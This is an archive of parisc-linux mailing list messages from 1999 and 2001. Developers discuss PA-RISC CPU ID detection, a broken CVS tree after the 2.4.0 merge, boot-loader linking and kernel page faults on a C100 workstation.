To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: alex@linuxcare.com  Thu Jan 25 09:24:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA11237
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 09:24:24 -0700
Original-Received: (qmail 13492 invoked by uid 15267); 25 Jan 2001 16:28:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13468 invoked from network); 25 Jan 2001 16:28:19 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 16:28:19 -0000
Original-Received: (qmail 11904 invoked from network); 25 Jan 2001 16:28:20 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (@216.208.98.2)
  by smtp.linuxcare.com with SMTP; 25 Jan 2001 16:28:20 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9394

Matthew Wilcox wrote:
> we have the following entry in hardware.c:
>         { 0x05c0, 0x0fc0, pcxw   },  /* 0x05c0 - 0x05ff */
> however, 5d5 is a pcxw+ (pa8600).  

I remember when we were writing this that it was very difficult to
figure some of these things out, because of missing or conflicting
information.  I don't actually think that there's any information in
here that isn't available publically, like ver_nums.pdf.

I know I've never seen a concise and complete list of CPUs and IDs.

I seem to recall some of the lists not covering some of the newer
CPUs...

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 improvements, problems
Date: Thu, 25 Jan 2001 11:33:07 -0600 (CST)
Lines: 56
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101250938150.27931-100000@maestro.symsys.com>
References: <20010125101918.M3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619594 11334 80.91.229.3 (22 Nov 2014 01:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ingram@symsys.com  Thu Jan 25 10:29:13 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12182
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 10:29:13 -0700
Original-Received: (qmail 2251 invoked by uid 15267); 25 Jan 2001 17:33:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2211 invoked from network); 25 Jan 2001 17:33:08 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 17:33:08 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id LAA28283
	for <parisc-linux@thepuffingroup.com>; Thu, 25 Jan 2001 11:33:07 -0600
In-Reply-To: <20010125101918.M3571@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9395


Howdy ya'll,

Failing to read all the new messages first, I did a cvs update and wound
up with unbuildable source.  So I kept the sim700 bits and unrolled the
20010124 tarball.  Now I've got my disks back.  Thanks.

Current problems:

o  I still get the 'Warning: unable to open an initial console.' message.  
Serial is working better and I get kernel messages on the serial console.  
init is running a getty on /dev/ttyS0 but I never get a login prompt.  
I've tried with and without 'console=/dev/ttyS0' as a kernel commandline
parameter.

o  I still have trouble with unligned data references.  I've discovered
that in addition to tar and make, sleep and nscd also produce this error.

o  I see a curious message when I reboot:

	Trying to free nonexistent resource <ffd07000-ffd0700b>

o  more page faults when I use SCSI but not when root is mounted via NFS.  
Hmm... why could that be?  I thought maybe it had to do with swapping, but
if I use nfsroot and then:

	# swapon /dev/sda2

more works fine.  I can mount the ext2 partition and run more from there.  
But when the SCSI disk is root, more page faults. Here's some kernel
messages:
 
	do_page_fault() pid=285 command='more' type=15 address=0xbaffffff
	vm_start = 0x4018c000, vm_end = 0x40190000
 
	     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
	PSW: 00000000000001001111111100001011
	r0-3     00000000 00008978 00003b4b 000074c0
	r4-7     bb000000 00008978 0000a978 00007000
	r8-11    00008afa 0008b810 0000a978 bb0001a0
	r12-15   00000000 00000000 000892b0 00000000
	r16-19   00000000 00000001 0000b71b 0000006d
	r20-23   0000002f bb000000 bb000004 bb000008
	r24-27   80808080 000074c0 bb000000 00008978
	r28-31   00000004 40069d2c bb000540 4009352f
	sr0-3    00000000 000001a9 00000000 000001a9
	sr4-7    000001a9 000001a9 000001a9 000001a9
 
	IASQ: 000001a9 000001a9 IAOQ: 00003b57 00003b5b
	 IIR: 0ebf3033    ISR: 000001a9  IOR: baffffff
	ORIG_R28: 00000001   

But things are definately looking up.  :)

- Greg


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0 merge mangle our tree?
Date: Thu, 25 Jan 2001 17:24:04 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20010125172404.E25242@parcelfarce.linux.theplanet.co.uk>
References: <200101250346.TAA21555@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619594 11336 80.91.229.3 (22 Nov 2014 01:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Thu Jan 25 10:33:23 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12537
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 10:33:23 -0700
Original-Received: (qmail 9954 invoked by uid 15267); 25 Jan 2001 17:37:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9935 invoked from network); 25 Jan 2001 17:37:17 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 17:37:17 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Lq7w-0003IA-00; Thu, 25 Jan 2001 17:24:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101250346.TAA21555@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Jan 24, 2001 at 07:46:40PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9396

On Wed, Jan 24, 2001 at 07:46:40PM -0800, Grant Grundler wrote:
> Hi Matthew,
> 
> I did 'cvs co -D "1/24/2001 09:00 MST" linux' in order to pick
> up the bits before the 2.4.0 "First take" commit.

ok, the answer seems to be `don't do that then'.  i get a buildable tree
by doing `cvs co linux; cd linux; cvs up -rLINUS_240_PREMERGE'.  I also
get a buildable tree by doing `cvs up -r LINUS_240_FIXUP'.  One is before
the merge and one is after.

sorry for stuffing up the merge :-(  ironic that i was trying to avoid
inconveniencing people...

> Tried "cvs update -rLINUS_240_PREMERGE" and that seemed to do what
> I think I wanted. But backs out a few recent changes. *sigh*.

err... which changes are those?  The sys32_select change richard made
just before i started breaking the tree looks like it's there. I guess
the change to sim700 that richard made won't be there, but as long as we
get this mess sorted out soon, it isn't going to be a big deal to find it.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 improvements, problems
Date: Thu, 25 Jan 2001 17:42:02 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20010125174202.F25242@parcelfarce.linux.theplanet.co.uk>
References: <20010125101918.M3571@linuxcare.com> <Pine.LNX.4.21.0101250938150.27931-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619595 11343 80.91.229.3 (22 Nov 2014 01:26:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: willy@www.linux.org.uk  Thu Jan 25 10:38:11 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12717
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 10:38:10 -0700
Original-Received: (qmail 18498 invoked by uid 15267); 25 Jan 2001 17:42:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18486 invoked from network); 25 Jan 2001 17:42:06 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 17:42:06 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14LqPK-0003Yc-00; Thu, 25 Jan 2001 17:42:02 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.LNX.4.21.0101250938150.27931-100000@maestro.symsys.com>; from ingram@symsys.com on Thu, Jan 25, 2001 at 11:33:07AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9397

On Thu, Jan 25, 2001 at 11:33:07AM -0600, Greg Ingram wrote:
> But when the SCSI disk is root, more page faults. Here's some kernel
> messages:
>  
> 	do_page_fault() pid=285 command='more' type=15 address=0xbaffffff

Known bug in `more'.  the stack starts at 0xbb000000 and more is trying
to look at the byte below the stack poinbter.  this has been fixed
upstream, now.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Building the Bootloader
Date: Tue, 1 Jun 1999 13:44:55 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <199906012044.NAA19549@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619595 11345 80.91.229.3 (22 Nov 2014 01:26:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:35 +0000 (UTC)
Cc: cjbeard@istar.ca, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca, prumpf@suse.de
Original-X-From: jason@gatekeeper.equator.com  Tue Jun  1 14:45:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA10818
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 14:45:40 -0600
Original-Received: (qmail 13566 invoked by uid 15267); 1 Jun 1999 20:44:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13556 invoked from network); 1 Jun 1999 20:44:57 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 20:44:57 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id NAA19549;
	Tue, 1 Jun 1999 13:44:55 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9398


> > > I think that I may have been able to successfully cross compile ipl to an
> > > elf binary with text starting at offset 0.  Note that this requires that
> > 
> > offset 0 sounds bad as we may not corrupt page 0 (the PDC puts some data we
> > need there).
>
> This is easily changed but seems consistent with the "-R 0" option to
> the hp linker used in Jason Eckhardt's Makefile.  It would appear that
> mkipl builds the actual image.  On the otherhand, no care was taken
> to compile using pic so there may be a relocation problem.
>

  Care was taken -- the ipl is position independent with the chosen 
  combination of flags and code design. The ipl makes no assumption about the
  location it will be loaded into by the ROM (see ipl_s.s). Text offset zero 
  is correct for linking in the scheme I have chosen. The bootloader determines
  where is was loaded at runtime and sets the dp and sp accordingly. All of
  this should be obvious from the code.

  The specific combination of flags allowed me to get something resembling
  a straight binary image (by ignoring the header) and position independence.
  For some reason I can't remember now, -fpic didn't get the job done
  (perhaps a compiler defect).

  In any case, I expect later that we will just link the ipl as a standard
  ELF and then extract the "actual" binary image from it (as chris mentioned
  earlier, and as mentioned in the HILO README). The point was to get a 
  simple bootloader going, which I did (there were no cross tools at that
  time, I therefore just used gcc on HPUX). Any number of tweaks can easily be
  made as needed.

  jason.


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 improvements, problems
Date: Thu, 25 Jan 2001 17:36:37 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20010125173637.R3571@linuxcare.com>
References: <20010125101918.M3571@linuxcare.com> <Pine.LNX.4.21.0101250938150.27931-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619595 11350 80.91.229.3 (22 Nov 2014 01:26:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: rhirst@linuxcare.com  Thu Jan 25 10:42:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12919
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 10:42:41 -0700
Original-Received: (qmail 26851 invoked by uid 15267); 25 Jan 2001 17:46:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26834 invoked from network); 25 Jan 2001 17:46:35 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 17:46:35 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 8E410B005; Thu, 25 Jan 2001 17:36:37 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0101250938150.27931-100000@maestro.symsys.com>; from ingram@symsys.com on Thu, Jan 25, 2001 at 11:33:07AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9399

On Thu, Jan 25, 2001 at 11:33:07AM -0600, Greg Ingram wrote:
> o  I still have trouble with unligned data references.  I've discovered
> that in addition to tar and make, sleep and nscd also produce this error.

Sounds like the libpthreads problem, for which a new glibc is being
built.

> more works fine.  I can mount the ext2 partition and run more from there.  
> But when the SCSI disk is root, more page faults. Here's some kernel
> messages:

There is a bug in more (really!), now fixed, but needs a rebuild.  If you
invoke it as /bin/more you'll be ok.

Richard


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0 merge mangle our tree?
Date: Thu, 25 Jan 2001 10:24:46 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <200101251824.KAA22158@milano.cup.hp.com>
References: <20010125101918.M3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619595 11352 80.91.229.3 (22 Nov 2014 01:26:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Thu Jan 25 11:18:51 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA14217
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 11:18:51 -0700
Original-Received: (qmail 26586 invoked by uid 15267); 25 Jan 2001 18:22:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26565 invoked from network); 25 Jan 2001 18:22:45 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 18:22:45 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id A059D9DD; Thu, 25 Jan 2001 10:22:44 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA22158;
	Thu, 25 Jan 2001 10:24:51 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 25 Jan 2001 10:19:18 PST."
             <20010125101918.M3571@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9400

Richard Hirst wrote:
> Main branch is certainly broken.  e.g. drivers/pci/Makefile makes
> drivers/pci/pci.a but Makefile tries to link drivers/pci/drivers.o
> I fixed that in my tree but then got masses of unresolved
> references on the final link.

The whole PCI stuff needs to be merged. I was supposed to do that
once willy had a branch ready...I guess I should be doing that RSN
on the trunk. :^(

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CPU detection wrong
Date: Thu, 25 Jan 2001 12:19:10 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200101252019.MAA22397@milano.cup.hp.com>
References: <20010125145244.C25242@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619596 11355 80.91.229.3 (22 Nov 2014 01:26:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Thu Jan 25 13:13:16 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA15620
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 13:13:15 -0700
Original-Received: (qmail 2056 invoked by uid 15267); 25 Jan 2001 20:17:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2048 invoked from network); 25 Jan 2001 20:17:11 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 20:17:11 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 64AC61A8; Thu, 25 Jan 2001 12:17:10 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA22397;
	Thu, 25 Jan 2001 12:19:16 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 25 Jan 2001 14:52:44 PST."
             <20010125145244.C25242@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9401

Matthew Wilcox wrote:
> 
> we have the following entry in hardware.c:
> 
>         { 0x05c0, 0x0fc0, pcxw   },  /* 0x05c0 - 0x05ff */
> 
> however, 5d5 is a pcxw+ (pa8600).  I don't know enough to change this
> because i don't have a list of which ids are assigned.

Linuxcare doesn't have this info either (afaik). I'm helping to sort
this out. Should have an answer by the end of today.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sean Anaya" <sanaya@gr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Request
Date: Thu, 25 Jan 2001 15:05:02 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <000c01c0871a$dda54830$f59b260f@spawn>
Reply-To: <sanaya@gr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619596 11357 80.91.229.3 (22 Nov 2014 01:26:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:36 +0000 (UTC)
To: "HP Linux Email List" <parisc-linux@thepuffingroup.com>
Original-X-From: sanaya@gr.hp.com  Thu Jan 25 14:55:17 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA17809
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 14:55:16 -0700
Original-Received: (qmail 18094 invoked by uid 15267); 25 Jan 2001 21:59:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18080 invoked from network); 25 Jan 2001 21:59:12 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 21:59:12 -0000
Original-Received: from hpgrla.gr.hp.com (hpgrla.gr.hp.com [15.57.1.1])
	by atlrel2.hp.com (Postfix) with ESMTP id A41C5DF1
	for <parisc-linux@thepuffingroup.com>; Thu, 25 Jan 2001 16:59:11 -0500 (EST)
Original-Received: from kontiki.gr.hp.com (kontiki.gr.hp.com [15.38.155.246])
	by hpgrla.gr.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id OAA29258
	for <parisc-linux@thepuffingroup.com>; Thu, 25 Jan 2001 14:59:07 -0700 (MST)
Original-Received: from spawn ([15.38.155.245] verified) by kontiki.gr.hp.com (Stalker SMTP Server 1.8b8) with SMTP id S.0000018951 for <parisc-linux@thepuffingroup.com>; Thu, 25 Jan 2001 14:59:42 -0700
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:9402

Hi all,

I was wondering if it would be possible to get the latest workable CD image
(palinux-0.5.iso.gz) updated? I really would like to install Linux on my
C180-XP machine, but that image doesn't support Cxxx machines according to
the readme, and I do not have access to another linux machine on which to
build/put together a bootable CD image.

Thanks,

Sean Anaya


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CPU detection wrong
Date: Thu, 25 Jan 2001 16:24:01 -0800
Lines: 78
Approved: news@gmane.org
Message-ID: <200101260024.QAA22790@milano.cup.hp.com>
References: <20010125145244.C25242@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619596 11360 80.91.229.3 (22 Nov 2014 01:26:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Kennedy <dkennedy@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Thu Jan 25 17:18:25 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA19780
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 17:18:22 -0700
Original-Received: (qmail 30725 invoked by uid 15267); 26 Jan 2001 00:22:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30697 invoked from network); 26 Jan 2001 00:22:15 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 00:22:15 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 01F6BA2E; Thu, 25 Jan 2001 16:22:14 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA22790;
	Thu, 25 Jan 2001 16:24:22 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 25 Jan 2001 14:52:44 PST."
             <20010125145244.C25242@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9403

Matthew Wilcox wrote:
> we have the following entry in hardware.c:
> 
>         { 0x05c0, 0x0fc0, pcxw   },  /* 0x05c0 - 0x05ff */

David (Kennedy),
You have time to fix the table based on the "Appendix B" data below?

(Willy is keeping me busy - help him test the merge mess. :^)

In the long run, I don't want to be involved in maintaining this table.
An easier way to determine processor type is based on CPU and FP-Coproc
MODEL information. Our kernel queries for both now and it's just a
matter of putting it to use.

On a related note: is anyone interested in figuring out how to get
the "model string" from NVRAM?
It should just be a PDC call but I don't know which one.

Taken from the I/O ACD, Appendix B. Version and Identification Numbers,
here's an ASCII update for the NPROC types in 5c0-5ff range:

                                         |        |   SVERSION    | HVERSION
Module                                   | TYPE   |  Model    Opt |  Model
_________________________________________|________|_______________|_________
   M2250                                 | NPROC  |  00004    91  |   5C0
   M2500                                 | NPROC  |  00004    91  |   5C1
   Sonata 440                            | NPROC  |  00004    91  |   5C2
   Sonata 360                            | NPROC  |  00004    91  |   5C3
   Rhapsody 440                          | NPROC  |  00004    91  |   5C4
   Rhapsody 360                          | NPROC  |  00004    91  |   5C5
   Raven W 360 (9000/780/????)           | NPROC  |  00004    91  |   5C6
   Halfdome W+ 552                       | NPROC  |  00004    91  |   5C7
   Lego 360 processor                    | NPROC  |  00004    81  |   5C8
   Rhapsody DC- 440                      | NPROC  |  00004    91  |   5C9
   Rhapsody DC- 360                      | NPROC  |  00004    91  |   5CA
   Crescendo 440                         | NPROC  |  00004    91  |   5CB
   Prelude W 440                         | NPROC  |  00004    91  |   5CC
   SPP2600                               | NPROC  |  00004    91  |   5CD
   M2600                                 | NPROC  |  00004    91  |   5CE
   Allegro W+                            | NPROC  |  00004    81  |   5CF
   Kazoo W+                              | NPROC  |  00004    81  |   5D0
   Forte W+ 2w                           | NPROC  |  00004    91  |   5D1
   Forte W+ 4w                           | NPROC  |  00004    91  |   5D2
   Prelude W+ 540                        | NPROC  |  00004    91  |   5D3
   Duet W+                               | NPROC  |  00004    91  |   5D4
   Crescendo 550                         | NPROC  |  00004    91  |   5D5
   Crescendo DC- 440                     | NPROC  |  00004    81  |   5D6
   Keystone W+                           | NPROC  |  00004    91  |   5D7
   Rhapsody wave 2 W+ DC-                | NPROC  |  00004    91  |   5D8
   Rhapsody wave 2 W+                    | NPROC  |  00004    91  |   5D9
   Marcato W+ DC-                        | NPROC  |  00004    91  |   5DA
   Marcato W+                            | NPROC  |  00004    91  |   5DB
[ reserved      5DC-5DD ]
